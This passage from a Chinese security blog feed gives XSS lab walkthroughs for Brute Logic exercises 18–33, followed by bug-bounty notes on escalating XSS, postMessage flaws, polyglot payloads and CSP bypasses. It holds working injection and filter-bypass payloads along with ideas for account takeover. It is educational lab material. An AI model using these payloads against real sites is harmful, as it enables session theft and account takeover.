href="#exercise-18">#</a> Exercise 18</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061630523.png" alt="image-20240906163003486"></p><p>&lt; 被转义</p><p>直接 <code>'-alert()-'</code>  一把梭</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061630364.png" alt="image-20240906163034322"></p><h3 id="exercise-19"><a class="markdownIt-Anchor" href="#exercise-19">#</a> Exercise 19</h3><p>用和上一题一样的 payload 不能弹</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061635311.png" alt="image-20240906163537278"></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">\`-alert(1)//</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061637248.png" alt="image-20240906163733212"></p><h3 id="exercise-20"><a class="markdownIt-Anchor" href="#exercise-20">#</a> Exercise 20</h3><p>payload: <code>$&#123;alert(1)&#125;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409061645445.png" alt="image-20240906164549412"></p><p><strong>解释  <code>$&#123;alert(1)&#125;</code> </strong></p><ol><li><strong>模板字符串（Template Literal）</strong>：<ul><li>在 JavaScript 中，模板字符串使用反引号（```）包围，例如： <code>Hello, $&#123;name&#125;</code> `。</li><li>模板字符串允许嵌入表达式（使用  <code>$&#123;expression&#125;</code>  的形式），这些表达式将在字符串插值时被计算和替换。</li></ul></li><li><strong> <code>$&#123;alert(1)&#125;</code>  的作用</strong>：<ul><li>在 <code>$&#123;&#125;</code>  中插入一个 JavaScript 表达式，例如  <code>alert(1)</code> ，这个表达式会被执行，结果会被插入到模板字符串中。</li><li>在这个例子中， <code>alert(1)</code>  是一个 JavaScript 表达式，它会在浏览器中显示一个带有数字 “1” 的弹窗。</li></ul></li></ol><h3 id="exercise-21"><a class="markdownIt-Anchor" href="#exercise-21">#</a> Exercise 21</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062015232.png" alt="image-20240906201559183"></p><p>在 href 里，双引号被转义， <code>' &lt; &gt; </code> 可以使用</p><p>啊？？官方答案也不弹，直接没了，不知道为什么</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062032906.png" alt="image-20240906203144286"></p><h3 id="exercise-22"><a class="markdownIt-Anchor" href="#exercise-22">#</a> Exercise 22</h3><p>先闭合 &quot;&gt;，继续闭合 <code>&lt;/iframe&gt;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062037156.png" alt="image-20240906203731111"></p><p>payload： <code>&quot;&gt;&lt;/iframe&gt;&lt;svg/onload=alert(1)&gt;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062037369.png" alt="image-20240906203753333"></p><h3 id="exercise-23"><a class="markdownIt-Anchor" href="#exercise-23">#</a> Exercise 23</h3><p><em>Injection in HTTP Header</em></p><p>我以为需要抓包改包呢，结果答案直接是加在参数上就行</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062101983.png" alt="image-20240906210122929"></p><p><strong>代码片段解释</strong>（From：Chat-GPT）</p><ol><li><strong> <code>%0D%0A</code> （URL 编码的换行符）</strong>:<ul><li><code>%0D</code>  是 URL 编码中的回车符（Carriage Return，CR）。</li><li><code>%0A</code>  是 URL 编码中的换行符（Line Feed，LF）。</li><li>在 HTTP 请求和响应中， <code>%0D%0A</code>  通常表示一个新的行，它们用来分隔请求或响应头部的不同部分。</li></ul></li><li><strong> <code>Content-Type:text/html</code> </strong>:<ul><li>这是一个 HTTP 响应头部，指示接下来的内容应该以 HTML 格式解析。它的存在表明攻击者试图操纵服务器的响应头，将它们插入到 HTTP 响应流中，以便浏览器解释为 HTML 内容。</li></ul></li><li><strong> <code>&lt;svg/onload=alert(1)&gt;</code> </strong>:<ul><li><code>&lt;svg&gt;</code>  是一个 SVG（可缩放矢量图形）标签，它是一种合法的 HTML 元素。</li><li><code>onload</code>  是 SVG 元素的一个事件处理程序属性，当元素加载时，会触发它后面的 JavaScript 代码。</li><li><code>alert(1)</code>  是一个 JavaScript 代码片段，用于弹出一个带有数字 “1” 的提示框。</li><li>结合起来， <code>&lt;svg/onload=alert(1)&gt;</code>  表示一个 SVG 标签，当页面加载时执行 <code>alert(1)</code> 。</li></ul></li></ol><p>注入后的源代码：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062103680.png" alt="image-20240906210320632"></p><h3 id="exercise-24"><a class="markdownIt-Anchor" href="#exercise-24">#</a> Exercise 24</h3><p>想直接闭合 <code>&lt;script&gt;</code>  但是 &lt; 被转义了</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062104690.png" alt="image-20240906210459628"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062106186.png" alt="image-20240906210601007"></p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line">    <span class="keyword">var</span> p24_1 = <span class="string">&#x27;/alert(1)//\&#x27;; var p24_2 = &#x27;</span></span><br><span class="line">    /<span class="title function_">alert</span>(<span class="number">1</span>)<span class="comment">//\&#x27;;</span></span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure></div><p>我的理解是 p24_1 中 <code>\</code>  把 <code>'</code>  转义为字符，使得他真正的属性是 <code>'/alert(1)//\'; var p24_2 = '</code></p><p>p24_2 的 // 把后面注释掉</p><p>导致后面 alert (1) 成为单独的语句并执行</p><p>但是 Chat-GPT 告诉我：</p><p><strong>代码变形的原因：引号闭合错误</strong></p><ol><li><strong>原始注入的字符串内容</strong></li></ol><p>在这段代码中，假设服务器直接将你输入的参数  <code>/alert(1)//\</code>  注入到变量声明中：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line">    var p24_1 = &#x27;/alert(1)//\&#x27;; </span><br><span class="line">    var p24_2 = &#x27;/alert(1)//\&#x27;;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure></div><p>这里的注入点是  <code>'/alert(1)//\'</code> 。</p><ol start="2"><li><strong>字符串闭合问题的解释</strong></li></ol><ul><li><strong>单引号的破坏</strong>:<br>JavaScript 使用单引号  <code>'</code>  或双引号  <code>&quot;</code>  来定义字符串。在  <code>var p24_1 = '/alert(1)//\';</code>  这行代码中，第一个单引号  <code>'</code>  用于标识字符串的开始，但接下来的  <code>'/alert(1)//\'</code>  中的第二个单引号将被解释为字符串的结束。</li><li><strong>反斜杠的作用</strong>:<br> 在 JavaScript 中，反斜杠  <code>\</code>  是一个转义字符，用来将后面的字符转义为普通字符。此处的  <code>//\</code>  将被视为注释符号和反斜杠组合，可能会引发解析器的混淆。</li></ul><ol start="3"><li><strong>代码被解析成执行的原因</strong></li></ol><p>浏览器在解析这段代码时，它会认为：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">var p24_1 = &#x27;/alert(1)//\&#x27;;</span><br></pre></td></tr></table></figure></div><p>被截断成了：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">var p24_1 = &#x27;&#x27;; // 截断的字符串</span><br><span class="line">alert(1) //&#x27;; // 中途出现的注入代码</span><br><span class="line">var p24_2 = &#x27;&#x27;; // 后续的原始代码</span><br></pre></td></tr></table></figure></div><ul><li><strong>第一部分 ( <code>var p24_1 = ''</code> )</strong>:<br> 浏览器将认为字符串从  <code>'/alert(1)//\'</code>  的开始  <code>'</code>  到后面的第二个单引号  <code>\''</code>  被结束，所以下面的  <code>alert(1)</code>  被认为是独立的 JavaScript 代码块。</li><li><strong> <code>alert(1)</code>  的执行</strong>:<br> 浏览器解释代码时， <code>alert(1)</code>  是有效的 JavaScript 代码，所以它会执行。</li><li><strong>注释符  <code>//</code>  的作用</strong>:<br>JavaScript 中  <code>//</code>  后面的所有内容都被认为是注释。因此，后面的部分  <code>' var p24_2 = '';</code>  被注释掉，不会被执行。</li></ul><ol start="4"><li><strong>最终代码结构</strong></li></ol><p>最终，浏览器看到的代码变成了：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">var p24_1 = &#x27;&#x27;;   // 空字符串</span><br><span class="line">alert(1)          // 这个是可执行的 JavaScript 代码</span><br><span class="line">//&#x27;; var p24_2 = &#x27;&#x27;; // 这里的内容被注释掉，不会执行</span><br></pre></td></tr></table></figure></div><p>我不理解！！！！！！！！！！！</p><h3 id="exercise-25"><a class="markdownIt-Anchor" href="#exercise-25">#</a> Exercise 25</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062231835.png" alt="image-20240906223126783"></p><div class="highlight-container" data-rel="Js"><figure class="iseeu highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> cS = <span class="variable language_">document</span>.<span class="property">location</span>.<span class="property">search</span>;</span><br><span class="line"><span class="keyword">var</span> sP = <span class="keyword">new</span> <span class="title class_">URLSearchParams</span>(cS);</span><br><span class="line"><span class="keyword">var</span> p25 = sP.<span class="title function_">get</span>(<span class="string">&#x27;p25&#x27;</span>);</span><br></pre></td></tr></table></figure></div><ol><li><strong> <code>document.location.search</code> </strong></li></ol><ul><li><code>document.location.search</code>  返回当前页面 URL 中的查询字符串部分，即问号  <code>?</code>  后面的所有内容。</li><li>例如，如果当前页面的 URL 是  <code>https://example.com/page?param1=value1&amp;p25=value2</code> ，那么  <code>document.location.search</code>  的值将是  <code>?param1=value1&amp;p25=value2</code> 。</li></ul><ol start="2"><li><strong> <code>new URLSearchParams(cS)</code> </strong></li></ol><ul><li><code>new URLSearchParams(cS)</code>  创建一个  <code>URLSearchParams</code>  对象，用于解析查询字符串  <code>cS</code> 。</li><li><code>URLSearchParams</code>  是一个内置的 JavaScript 对象，它提供了一些便捷的方法来操作 URL 查询参数。</li></ul><ol start="3"><li><strong> <code>sP.get('p25')</code> </strong></li></ol><ul><li><code>sP.get('p25')</code>  使用  <code>URLSearchParams</code>  对象的方法  <code>get</code>  来获取查询字符串中  <code>p25</code>  参数的值。</li><li>如果查询字符串中存在  <code>p25</code> ，比如  <code>?param1=value1&amp;p25=value2</code> ，那么  <code>sP.get('p25')</code>  将返回  <code>'value2'</code> 。</li><li>如果查询字符串中不存在  <code>p25</code>  参数，则  <code>sP.get('p25')</code>  将返回  <code>null</code> 。</li></ul><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062234632.png" alt="image-20240906223400576"></p><h3 id="exercise-26"><a class="markdownIt-Anchor" href="#exercise-26">#</a> Exercise 26</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062237096.png" alt="image-20240906223738959"></p><p>这他妈给我重定向哪来了</p><h3 id="exercise-27"><a class="markdownIt-Anchor" href="#exercise-27">#</a> Exercise 27</h3><p>直接弹</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062238673.png" alt="image-20240906223848626"></p><h3 id="exercise-28"><a class="markdownIt-Anchor" href="#exercise-28">#</a> Exercise 28</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062239771.png" alt="image-20240906223955689"></p><p>注入点在注释里，直接闭合</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062240995.png" alt="image-20240906224056945"></p><h3 id="exercise-29"><a class="markdownIt-Anchor" href="#exercise-29">#</a> Exercise 29</h3><p>只有在输入 <code>&lt;!--&gt;</code>  才会显示这一行</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062333183.png" alt="image-20240906233343083"></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062346444.png" alt="image-20240906234635383"></p><p><strong> <code>&lt;!--&gt;</code> ：注释结束符</strong></p><!--> 是一个利用 HTML 注释的结束符：<ul><li>在 HTML 中， <code>&lt;!--</code>  和  <code>--&gt;</code>  分别表示注释的开始和结束。</li><li>这个片段使用了  <code>--&gt;</code> （注释结束符）来打破或 “闭合” 前面的注释。这种技巧可以用来绕过基于 HTML 注释的过滤机制。</li></ul><p>payload： <code>&lt;!--&gt;&lt;svg/onload=alert(1)--&gt;</code></p><p>先结束注释前面内容，再执行 alert</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062350793.png"                      alt="image-20240906235011743"                ></p><h3 id="exercise-30"><a class="markdownIt-Anchor" href="#exercise-30">#</a> Exercise 30</h3><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062351284.png"                      alt="image-20240906235114224"                ></p><p>只有 <code>'</code>  没被转义</p><p>尝试 html 编码： <code>\74img/src/onerror=alert(1)\76</code></p><p>当浏览器解析这个代码时，它会将  <code>\74</code>  转换成  <code>&lt;</code> ，并将  <code>\76</code>  转换成  <code>&gt;</code> ，从而得到：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;img src onerror=alert(1)&gt;</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062353582.png"                      alt="image-20240906235325525"                ></p><h3 id="exercise-31"><a class="markdownIt-Anchor" href="#exercise-31">#</a> Exercise 31</h3><p>按照答案无法复现，难以理解，遂放弃</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062355901.png"                      alt="image-20240906235527785"                ></p><h3 id="exercise-32"><a class="markdownIt-Anchor" href="#exercise-32">#</a> Exercise 32</h3><p><em>Injection in URL</em></p><p>🤔</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409062357958.png"                      alt="image-20240906235720896"                ></p><p>牛逼，第一次见</p><h3 id="exercise-33"><a class="markdownIt-Anchor" href="#exercise-33">#</a> Exercise 33</h3><p>1.<strong> <code>&lt;base&gt;</code>  标签</strong></p><ul><li><strong> <code>&lt;base&gt;</code>  标签</strong>：<ul><li><code>&lt;base&gt;</code>  是一个 HTML 标签，用于指定文档中所有相对 URL 的基准 URL。</li><li>例如，如果在 HTML 文档的头部包含  <code>&lt;base href=&quot;https://example.com/&quot;&gt;</code> ，那么文档中的所有相对 URL（如  <code>/images/pic.jpg</code> ）都会被解析为  <code>https://example.com/images/pic.jpg</code> 。</li></ul></li><li><strong> <code>&lt;base href=//X55.is&gt;</code> </strong>：<ul><li><code>&lt;base href=//X55.is&gt;</code>  指定了一个新的基准 URL  <code>//X55.is</code> 。注意没有协议（如  <code>http:</code>  或  <code>https:</code> ），这是一个相对协议的 URL，浏览器将使用当前页面的协议（ <code>http</code>  或  <code>https</code> ）来解析它。</li><li>如果攻击者将这个基准 URL 插入到页面中，所有相对 URL（如脚本、链接、图像等）将被重定向到  <code>X55.is</code> 。</li></ul></li></ul><p>2.<strong> 潜在的攻击场景</strong></p><ul><li><p><strong>XSS 攻击</strong>：</p><ul><li>如果应用程序将用户输入的内容直接插入到页面的  <code>&lt;head&gt;</code>  中，并且没有进行适当的转义或过滤，攻击者可以插入  <code>&lt;base&gt;</code>  标签来改变页面中所有相对 URL 的行为。例如：</li></ul><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">html复制代码&lt;head&gt;</span><br><span class="line">  ... </span><br><span class="line">  &lt;base href=&quot;//X55.is&quot;&gt;</span><br><span class="line">  ...</span><br><span class="line">&lt;/head&gt;</span><br></pre></td></tr></table></figure></div><ul><li><p>这会导致所有相对路径资源（如图片、脚本、链接）指向</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">X55.is</span><br></pre></td></tr></table></figure></div><p>域。这可能导致：</p><ul><li><strong>静态资源劫持</strong>：攻击者控制的域上提供恶意脚本、样式或其他资源。</li><li><strong>恶意重定向</strong>：所有链接将引导用户到攻击者控制的站点。</li></ul></li></ul></li><li><p><strong>内容安全策略（CSP）绕过</strong>：</p><ul><li>如果服务器实现了 CSP 以防止外部脚本或资源的加载， <code>&lt;base&gt;</code>  标签的注入可能绕过这种保护。如果 CSP 规则允许  <code>&lt;base&gt;</code>  标签的存在，攻击者可以利用此标签将资源基准指向外部站点，从而加载未经授权的内容。</li></ul></li></ul><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409070006083.png"                      alt="image-20240907000639010"                ></p>-->]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;靶场解题&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#靶场解题&quot;&gt;#&lt;/a&gt; 靶场解题&lt;/h2&gt;
&lt;p&gt;靶场：&lt;a class=&quot;link&quot; href=&quot;https://brutelogic.com.br/blog/training-</summary>
      
    
    
    
    <category term="WriteUp" scheme="http://example.com/categories/WriteUp/"/>
    
    
  </entry>
  
  <entry>
    <title>SRC-XSS</title>
    <link href="http://example.com/2024/09/06/SRC-XSS/"/>
    <id>http://example.com/2024/09/06/SRC-XSS/</id>
    <published>2024-09-05T16:09:22.000Z</published>
    <updated>2024-09-08T05:10:32.901Z</updated>
    
    <content type="html"><![CDATA[<h2 id="同源策略"><a href="#同源策略" class="headerlink" title="同源策略"></a>同源策略</h2><p>同源策略限制了不同源之间如何进行资源交互，是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定，URL由协议、域名、端口和路径组成，<strong>如果两个URL的协议、域名和端口相同，则表示他们同源</strong></p><p><strong>场景1</strong></p><p>在sub1.aaa.com 发现了一个XSS，同时这个sub1.aaa.com可注册可登录功能很多</p><p>这个XSS可以进行什么尝试升级危害？</p><ol><li>修改邮箱，然后重置密码</li><li>修改密码</li><li>添加一个sso登录</li><li>读取 session token 在某个页面</li><li>给这个组织添加一个管理员</li><li>读取api key</li><li>通过 oauth 账号接管</li></ol><p><strong>场景2</strong></p><p>在sub2.aaa.com 发现了一个XSS，这个sub2.aaa.com 是一个很边缘的域名，连功能都几乎没有可以进行什么尝试升级危害？</p><p>之前的方法几乎都不可行，比如修改sub1.aaa.com的邮箱，然后重置密码，一般这个功能点就算没有密码作额外的验证，一般也有一个csrf token, 如果没有那就直接是csrf 漏洞了，根本不需要子域名的xss，而子域名的xss 根据同源策略是无法读取到sub1.aaa.com的token的，这种情况下就危害比较有限</p><p>但下面提到的两种例外情况需要注意一下</p><ul><li>第一种就是sub1.aaa.com或者<strong>某种比较核心的重要子域名存在cors 配置为任意子域名可以读取它的内容</strong>，那么sub2.aaa.com 就能读取这些域名的内容进行进一步升级危害</li><li><ul><li>CORS，全称为“跨域资源共享”（Cross-Origin Resource Sharing），是一种机制，它使用额外的 HTTP 头来告诉浏览器允许一个网页从另一个域（不同于该网页所在的域）请求资源。这样可以在服务器和客户端之间进行安全的跨域通信。</li></ul></li><li>另外一种就是sub1.aaa.com 有个会话cookie, 这个会话cookie 设置为http only , 同时domain的部分设置为.aaa.com。那么其实是存在这样一种利用方式，那就是如果aaa.com下面的某个子域名将这个会话cookie 把http only 去掉了，这个时候sub2.aaa.com的xss就可以直接读取这个会话cookie了，同时当你再次访问sub1.aaa.com的时候你也会发现在这个域名上这个会话cookie从有http only到没有http only</li></ul><h2 id="XSS上下文"><a href="#XSS上下文" class="headerlink" title="XSS上下文"></a>XSS上下文</h2><p>burp的xss靶场：<a class="link" href="https://portswigger.net/web-security/all-labs">All labs | Web Security Academy (portswigger.net) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>另一个靶场：<a class="link" href="https://brutelogic.com.br/blog/">Brute XSS - Master the art of Cross Site Scripting. (brutelogic.com.br) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>Reflected XSS into attribute with angle brackets HTML-encoded</strong></p><p>从字面意思就能知道反射点在标签属性那里，通过“ 字符闭合之前的属性即可插入XSS payload</p><p>最基本的思路：前面闭合，中间插入payload，后面注释掉或闭合（有时也不需要）</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409060009224.png" alt="image-20240906000006383"></p><p><strong>Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded</strong></p><p><strong>and single quotes escaped</strong></p><p>输入’会变成\’    这个时候可以尝试输入一个, 如果\ 还是\ , 那么它就会和后面的\组合，这样’ 就能正确闭合</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409060009530.png" alt="image-20240905235830097"></p><h2 id="过滤和Waf"><a href="#过滤和Waf" class="headerlink" title="过滤和Waf"></a>过滤和Waf</h2><p><strong>过滤</strong>一般指的是对某些关键词进行删除或者替换，比如检查到<code>&lt;script&gt;</code>将其删掉，检查到alert 将其删掉</p><p><strong>WAF</strong>一般值得是拦截，比如检查到某个关键词或者某种规则给你返回403</p><p><a class="link" href="https://fc04db.github.io/2024/09/05/%E5%8F%8D%E5%B0%84XSS-Bypass/">反射XSS-Bypass - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><strong>HTML实体编码绕过</strong></p><p><code>&quot;&gt;&lt;iframe/src=javascript:alert%26%23x000000028%3bdocument.domain)&gt;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409060011706.png" alt="image-20240906001107629"></p><p>在x与28之间加任意个数的0，都等价于x28</p><h2 id="postMessage"><a href="#postMessage" class="headerlink" title="postMessage"></a>postMessage</h2><p><a class="link" href="https://jinone.github.io/bugbounty-dom-xss/">BugBounty中Dom Xss的案例分享 – Jinone – 败絮其中 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>我们时不时会在H1的hacktivity上看见postMessage 相关的XSS 报告</p><p><a class="link" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage">https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>通过上面的文档我们知道 postMessage是一种以可控方式绕过同源策略的方法</p><p><strong>样例代码</strong></p><p>域名1 包含以下js代码</p><p><code>targetWindow.postMessage(&quot;hello other document!&quot;, &quot;*&quot;);</code></p><p>域名2 包含以下js代码</p><p><code>window.addEventListener(&quot;message&quot;, function(message)&#123;console.log(message.data)&#125;);</code></p><p>这样域名2 就能接收到域名1传过来的数据</p><p>域名2 如果设置类似的监听器，就会存在XSS漏洞</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">window.addEventListener(&quot;message&quot;, function(message)&#123;</span><br><span class="line">document.getElementById(&quot;message&quot;).innerHTML = message.data;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure></div><p>现实可能会如何使用 postMessage ？</p><p>比如有这么一个网站test.com, 它有一个子域名sub1.test.com, 它想从sub2.test.com 获取用户的电子邮件地址，对于这么一个需求，可以使用CORS实现，同样的，也可以用postMessage 实现</p><p>这里需要特别注意的是，如果开发人员忘记在 evenListener 中检查事件来源，则可能会导致 XSS或敏感信息泄露</p><p>CORS漏洞检测方法：</p><ul><li>corsy工具，如果某个子域名的根目录下&#x2F;的cors配置错误，那么极大可能这个子域名的其他任意存在的目录也有相同的cors配置错误，这个方法基于根目录与任意存在目录的cors配置一致的前提下才是很准确的</li><li>第二个方法是burp的替换规则，match and replace rules 部分勾选 cors</li></ul><h2 id="Polyglots"><a href="#Polyglots" class="headerlink" title="Polyglots"></a>Polyglots</h2><p><strong>Polyglots</strong> 说白了就是可以适用多个XSS上下文的XSS payload, 但是一般适用于没有waf的网站如果网站存在WAF, 这些payload 很容易被拦截，如果网站没有waf, <strong>Polyglots</strong> 还是非常方便的</p><p>下面是一个<strong>Polyglots</strong> 的例子</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">jaVasCript:/*-/*`/*\`/*&#x27;/*&quot;/**/(/**/oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/--!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e</span><br></pre></td></tr></table></figure></div><p>更多例子可以查看</p><p><a class="link" href="https://gist.github.com/michenriksen/d729cd67736d750b3551876bbedbe626">XSS Polyglot payloads (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="CSP"><a href="#CSP" class="headerlink" title="CSP"></a>CSP</h2><p>CSP(内容安全策略)就是一种策略，这种策略限制可以加载哪些资源(例如 JavaScript、CSS、图像等)以及可以从哪些URL加载这些资源</p><p>通过HTTP 响应标头或者元标记启用它</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409081138061.png" alt="image-20240908113820929"></p><p>如果你在某个网站发现了XSS，但是那个网站存在CSP策略，那么你是无法简单地直接执行XSS的，需要进行一定CSP绕过</p><h4 id="CSP-指令参考"><a href="#CSP-指令参考" class="headerlink" title="CSP 指令参考"></a><strong>CSP 指令参考</strong></h4><p>Content-Security-Policy由一个或多个指令组成，多个指令用分号分隔, 下面列出一些跟XSS相关的应当重点关注的指令</p><p><strong>default-src</strong></p><p>该default-src指令定义了获取 JavaScript、图像、CSS、字体、AJAX 请求、框架、HTML5 媒体等资源的默认策略</p><p><strong>script-src</strong></p><p>定义有效的 JavaScript 源</p><p><strong>img-src</strong></p><p>定义有效的图像来源</p><p><strong>connect-src</strong></p><p>适用于XMLHttpRequest(AJAX)、WebSocket或fetch()</p><h4 id="源列表参考"><a href="#源列表参考" class="headerlink" title="源列表参考"></a><strong>源列表参考</strong></h4><p>源列表说明资源可以从哪里加载，多个源列表值可以用空格分隔，下面列出一些跟XSS相关的应当重点关注的指令</p><p><strong>‘self’</strong> 允许从同一来源（相同方案、主机和端口）加载资源</p><p><strong>domain.example.com</strong> 允许从指定域名加载资源。</p><p>***.example.com** 允许从example.com下的任何子域加载资源</p><p><strong>‘unsafe-inline’</strong> 允许使用内联源元素，如 style 属性、onclick 或脚本标记体（取决于其所应用的源的上下文）和javascript:URI </p><p><strong>‘unsafe-eval’</strong> 允许不安全的动态代码评估，例如 JavaScripteval()</p><p><strong>‘nonce-‘</strong> 如果脚本（例如：）<code>&lt;script nonce=&quot;rAnd0m&quot;&gt;</code>标签包含与 CSP 标头中指定的 nonce 匹</p><p>配的 nonce 属性，则允许执行内联脚本或 CSS。nonce 应为安全随机字符串，且不得重复使用</p><p><strong>CSP 样例</strong></p><p>允许googleapis 和同源</p><p><code>script-src &#39;self&#39; www.googleapis.com;</code></p><p>可以通过下面的荷载进行绕过</p><p><code>&lt;Script Src=https://www.googleapis.com/customsearch/v1?callback=alert(1)&gt;&lt;/Script&gt;</code></p><h4 id="绕过实例"><a href="#绕过实例" class="headerlink" title="绕过实例"></a>绕过实例</h4><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409081158691.png" alt="image-20240908115821619"></p><p>第一：CSP 配置中同时存在 nonce 和 unsafe-inline，这实际上会使 nonce 的防护机制失效</p><p>第二：</p><p>同时允许从外部域加载脚本，比如*.youtube.comYouTube 有一个有趣的功能，称为oEmbed，用于视频嵌入。它还允许使用callback 参数, 